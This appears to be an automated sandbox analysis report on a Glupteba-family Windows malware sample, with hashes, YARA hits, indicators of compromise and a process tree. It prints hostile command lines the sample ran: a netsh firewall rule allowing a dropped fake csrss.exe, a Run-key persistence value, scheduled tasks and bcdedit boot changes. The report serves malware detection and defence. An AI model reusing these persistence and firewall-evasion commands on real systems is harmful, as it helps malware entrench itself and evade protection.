Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2023 16:30
Static task
static1
Behavioral task
behavioral1
Sample
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe
Resource
win10v2004-20221111-en
General
-
Target
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe
-
Size
3.9MB
-
MD5
6ed750112942f6285b1e86259fdaf75e
-
SHA1
2f3a2ca7458575736070079822b632548f485113
-
SHA256
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111
-
SHA512
ef19e9596c4cc16ab6d4a7c8536fd97b795e4032b3a8a0196b2781032436708e8b33dbe622b535405f34d6f46344fa53ff0feeffc11f394275efc3f946316c06
-
SSDEEP
49152:gtXIcARwuEX0ePpqpxIqrHp6VSt2NOTkGOFvN2Kwk8cvEFCaTWOO0LywozjV+d:gtZukZPixdwVSY41O72l6unof
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 9 IoCs
Processes:
resource yara_rule behavioral2/memory/3228-133-0x00000000034C0000-0x0000000003CC4000-memory.dmp family_glupteba behavioral2/memory/3228-134-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/3228-136-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/4228-138-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/4228-139-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/4228-145-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/3276-147-0x0000000003A00000-0x0000000004204000-memory.dmp family_glupteba behavioral2/memory/3276-148-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba behavioral2/memory/3276-149-0x0000000000400000-0x0000000002E87000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 3448 created 3228 3448 svchost.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe PID 3448 created 3276 3448 svchost.exe csrss.exe PID 3448 created 3276 3448 svchost.exe csrss.exe PID 3448 created 3276 3448 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 3276 csrss.exe 2040 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DelicateHaze = "\"C:\\Windows\\rss\\csrss.exe\"" e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1788 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exedescription ioc process File opened for modification C:\Windows\rss e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe File created C:\Windows\rss\csrss.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe -
Program crash 57 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5084 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4656 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4136 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4372 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4344 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 1196 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4780 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2752 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 1632 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4408 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3500 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3328 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2660 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 260 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2208 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3880 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4912 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3600 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3740 3228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 776 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2816 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2096 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 1028 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3572 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2732 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4988 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 748 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3760 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3048 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 1188 4228 WerFault.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 2908 3276 WerFault.exe csrss.exe 3508 3276 WerFault.exe csrss.exe 3724 3276 WerFault.exe csrss.exe 4128 3276 WerFault.exe csrss.exe 4060 3276 WerFault.exe csrss.exe 4044 3276 WerFault.exe csrss.exe 4660 3276 WerFault.exe csrss.exe 4380 3276 WerFault.exe csrss.exe 4756 3276 WerFault.exe csrss.exe 3884 3276 WerFault.exe csrss.exe 3232 3276 WerFault.exe csrss.exe 4776 3276 WerFault.exe csrss.exe 2704 3276 WerFault.exe csrss.exe 4704 3276 WerFault.exe csrss.exe 1804 3276 WerFault.exe csrss.exe 1512 3276 WerFault.exe csrss.exe 4668 3276 WerFault.exe csrss.exe 5076 3276 WerFault.exe csrss.exe 260 3276 WerFault.exe csrss.exe 3504 3276 WerFault.exe csrss.exe 4368 3276 WerFault.exe csrss.exe 1616 3276 WerFault.exe csrss.exe 4708 3276 WerFault.exe csrss.exe 4892 3276 WerFault.exe csrss.exe 4432 3276 WerFault.exe csrss.exe 1260 3276 WerFault.exe csrss.exe 2308 3276 WerFault.exe csrss.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4256 schtasks.exe 4252 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exee424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.execsrss.exepid process 3228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe 3276 csrss.exe 3276 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe Token: SeImpersonatePrivilege 3228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe Token: SeTcbPrivilege 3448 svchost.exe Token: SeTcbPrivilege 3448 svchost.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe Token: SeSystemEnvironmentPrivilege 3276 csrss.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe Token: SeBackupPrivilege 3448 svchost.exe Token: SeRestorePrivilege 3448 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exee424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.execmd.execsrss.exedescription pid process target process PID 3448 wrote to memory of 4228 3448 svchost.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe PID 3448 wrote to memory of 4228 3448 svchost.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe PID 3448 wrote to memory of 4228 3448 svchost.exe e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe PID 4228 wrote to memory of 4440 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe cmd.exe PID 4228 wrote to memory of 4440 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe cmd.exe PID 4440 wrote to memory of 4652 4440 cmd.exe netsh.exe PID 4440 wrote to memory of 4652 4440 cmd.exe netsh.exe PID 4228 wrote to memory of 3276 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe csrss.exe PID 4228 wrote to memory of 3276 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe csrss.exe PID 4228 wrote to memory of 3276 4228 e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe csrss.exe PID 3448 wrote to memory of 4256 3448 svchost.exe schtasks.exe PID 3448 wrote to memory of 4256 3448 svchost.exe schtasks.exe PID 3448 wrote to memory of 4252 3448 svchost.exe schtasks.exe PID 3448 wrote to memory of 4252 3448 svchost.exe schtasks.exe PID 3448 wrote to memory of 2040 3448 svchost.exe patch.exe PID 3448 wrote to memory of 2040 3448 svchost.exe patch.exe PID 3276 wrote to memory of 1788 3276 csrss.exe bcdedit.exe PID 3276 wrote to memory of 1788 3276 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe"C:\Users\Admin\AppData\Local\Temp\e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 3322⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 3362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 3362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6962⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6962⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7282⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7402⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7202⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6962⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7762⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 8562⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6562⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7722⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 6562⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 8202⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 7602⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 8242⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe"C:\Users\Admin\AppData\Local\Temp\e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 2963⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 3003⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 2963⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 7003⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 7083⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 7283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 6523⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 7483⤵
- Program crash
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
